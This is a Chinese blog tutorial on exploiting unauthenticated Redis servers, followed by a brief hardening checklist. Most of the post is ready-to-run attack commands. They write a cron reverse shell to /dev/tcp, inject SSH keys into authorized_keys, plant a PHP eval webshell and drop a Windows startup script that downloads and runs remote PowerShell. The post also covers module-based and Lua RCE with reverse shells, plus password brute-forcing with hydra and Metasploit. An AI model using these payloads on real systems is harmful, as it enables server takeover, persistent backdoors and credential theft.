redis漏洞利用


准备

1.下载编译

wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar xzf redis-6.0.3.tar.gz
cd redis-6.0.3
make

2.拷贝二进制文件

cd src/

cp redis-server /usr/bin 
cp redis-cli /usr/bin

cd ..
cp redis.conf /etc/

3.修改redis.conf, 开启外部访问,关闭保护模式(保护模式下运行redis是利用不成功滴)

4.启动redis服务

redis-server  /etc/redis.conf

# 或者直接以非保护模式运行也可以
./redis_server --protected-mode no

5.连接redis的方式

# nc
nc 1.1.1.1.10 6379 -vv    

# telent 

#或redis-cli连接
redis-cli -h 192.168.0.100

常用命令

# 查看里面的key和其对应的值
keys *  
get key


# 获取备份路径
config get dir

# 获取备份文件名
config get dbfilename
save  # 保存数据到备份路径(dir+dbfilename)

# 设置备份路径
config set dir /root/ # 可以移动到root,然后访问(如果能访问,就是root权限 -->可用来判断权限)

# 设置备份文件名
config set dbfilename filename

# 设置键值对
set keyname value
# 获取键值对
get keyname

# 持久化(保存到磁盘)
save

测试

一、写文件(利用未授权访问)

测试环境:centos

1.crontab计划任务反弹shell

root权限运行redis

1.本机监听端口

nc -lvvp 4444

2.利用redis生成计划任务配置文件

set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.0.106/5555 0>&1\n\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

3.本机获得反弹shell

Note:
当目标主机为centos时可以反弹shell, 而ubuntu和debian均无法成功反弹shell。
原因:由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划。

2.直接写入公钥

root权限运行redis, 且目标主机开启了ssh密钥登录

# 本机先生成密钥
ssh-keygen -t rsa
# 公钥内容导入key.txt文件
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

#
config set dir /root/.ssh/
config set dbfilename authorized_keys
set test6 "\n\n\nssh key\n\n\n ssh-rsa xxxxxxxxxxxxx" (公钥的值)
save

# 然后本机直接连接目标
ssh  -o StrictHostKeyChecking=no 192.168.0.100

同时也要注意系统的乱码问题

3.低权限写入WebShell

需要知道网站路径

config set dir /var/www/html/    # 需要知道网站的绝对路径
config set dbfilename 1.php
set 1 "<?php eval($_POST[1]); ?>"
save

# 访问webshell

4.开机自启目录

前提:redis部署在windows主机上

# 写入批处理文件到Administrator用户的开机启动目录
# 使用powershell远程下载执行我们的程序
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename add.bat
set xx "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX((New-ObjectNet.WebClient).DownloadString('http://xxx.xx.xxxx/add'))\"\r\n\r\n"
save

拓展攻击方法

  • 信息泄漏(很多redis没设置密码,寻找敏感信息)
  • 配合ssrf
  • 本地lua代码
  • 本地提权
  • 等等
5.写入挖矿进程
nmap检测
nmap -p 6379 --script redis-info 192.168.0.100
#地址:https://svn.nmap.org/nmap/scripts/redis-info.nse

安全检查
#1.查看redis运行的用户权限
ps -aux |grep redis

#2.查看所有用户ssh验证文件是否异常
/user/.ssh/authorized_keys

#3.查看crontab
/var/spoof/cron/

#4.查看crontab的日志
tail /var/log/cron

二、Redis-RCE

利用用前提是获取redis访问权限,也就是基于redis未授权访问

1.redis主从同步rce

使用范围redis 4.x-5.0.5

在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以在redis中实现一个新的Redis命令

git clone https://github.com/Ridter/redis-rce.git
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

# 编译so文件
cd RedisModules-ExecuteCommand/
make

# 运行sss
python redis-rce.py -r <目标地址>  -L <本机地址> -f module.so
# 执行成功后可以选择生成一个交互的shell,或者重新反弹一个shell
2.反序列化rce

当遇到 redis 服务器写文件无法 getshell,可以查看redis数据是否符合序列化数据的特征。

jackson:关注 json 对象是不是数组,第一个元素看起来像不像类名,例如["com.blue.bean.User",xxx]
fastjson:关注有没有 @type 字段
jdk:首先看 value 是不是 base64,如果是解码后看里面有没有 java 包名

https://mp.weixin.qq.com/s/ungjainqdPhA_dDOOMKn4Q

3.lua rce

适用于高权限运行低版本redis的lua虚拟机,写文件失败时进行尝试

使用info servereval “return _VERSION” 0命令可以查看当前redis版本和编译信息。

exp

https://github.com/QAX-A-Team/redis_lua_exploit/

修改redis_lua.py中目标地址为靶机的地址和端口

运行exp

执行成功后就可以进行命令执行了,这里反弹shell

eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.0.105/5555 0>&1', 8)" 0

三、redis密码爆破

1.使用redis-cli连接,使用-a参数指定密码操作。

redir-cli -h 192.168.0.100 -a admin123
# 这个好像没这么实用感觉,也许可以写成脚本批量跑

2.msf的auxiliary/scanner/redis/redis_login模块

use auxiliary/scanner/redis/redis_login
set rhost ...
set threads ...
set pass_file xxxxxxx.txt
run

3.hydra

# 还是hydra好用,速度还快
hydra -P redis_pass.txt redis://192.168.0.100

防御手段

  • 禁止root运行redis
  • 设置账户密码认证
  • 服务部署使用单独低权限账户
  • 添加IP访问限制(bind),并更更改默认6379端口
  • redis在默认情况下,是不会生成日志文件的,所以需要修改配置文件,让redis生成日志,以及设置日志等级
  • 保证 authorized_keys 文件的安全(chmod 400 ~/.ssh/authorized_keys
  • 设置防火墙策略 

参考链接
https://mp.weixin.qq.com/s/ungjainqdPhA_dDOOMKn4Q
https://www.freebuf.com/column/158065.html


文章作者: 剑胆琴心
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 剑胆琴心 !
评论
 上一篇
Hadoop未授权访问漏洞 Hadoop未授权访问漏洞
漏洞简介以及危害Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器器直接在开放了了Hadoop 机器器 HDFS 的 50070 web 端口及部分默认服务口口,黑客可以通过命令行操作多个目录下的数据,如进行删除,
2020-05-26
下一篇 
Jupyter Notebook 未授权访问漏洞简单复现 Jupyter Notebook 未授权访问漏洞简单复现
简介及危害Jupyter Notebook(此前被称为 IPython notebook)是一一个交互式笔记本,支支持运行行行 40 多种编程语言言。 如果管理理员未为Jupyter Notebook配置密码,将导致未授权访问漏漏洞洞,游客
2020-05-25
  目录